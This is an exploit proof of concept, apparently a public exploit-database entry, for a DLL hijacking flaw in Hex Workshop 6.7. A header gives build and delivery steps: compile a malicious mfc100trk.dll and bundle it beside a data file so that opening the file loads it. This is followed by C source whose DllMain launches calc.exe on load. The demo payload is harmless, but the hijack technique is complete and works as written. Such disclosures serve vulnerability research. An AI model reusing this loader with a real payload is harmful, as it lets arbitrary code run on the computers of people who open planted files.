Hex Workshop 6.7 DLL Hijack

`/* # Exploit Title: Hex Workshop v 6.7 (mfc100trk.dll) - DLL Hijacking Vulnerability  
// # Date: 29.11.2013  
// # Exploit Author: Akin Tosunlar / Ozgur Yurdusev  
// # Software Link: http://www.download.com/Hex-Workshop/3000-2352_4-10004918.html?part=dl-HexWorksh&subj=dl&tag=button  
// # Version: 6.7 (Probably old version of software and the LATEST version too)  
// # Vendor Homepage: http://www.bpsoft.com/  
// # Tested on: [ Windows XP sp3]  
// # Contact : [email protected]  
// #------------------  
// # Web Page : http://www.vigasis.com  
// #   
// # YOUTUBE EXPLOIT VIDEO: http://www.youtube.com/watch?v=yGGGabFNUiA&feature=youtu.be  
// #  
// # gcc -shared -o mfc100trk.dll evil.c  
// # Compile evil.c and rar or zip where you want the file extension (for ex: .byte) and mfc100trk.dll same folder. Associate Default Opener as Hex Workshop or OpenWith Hex Workshop.Double-click File. program start Calc.exe immediately.  
// #  
*/   
  
  
#include <windows.h>  
  
int evilcode()  
{  
WinExec("calc", 0);  
exit(0);  
return 0;  
}  
  
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)  
{  
evilcode();  
return 0;  
}  
`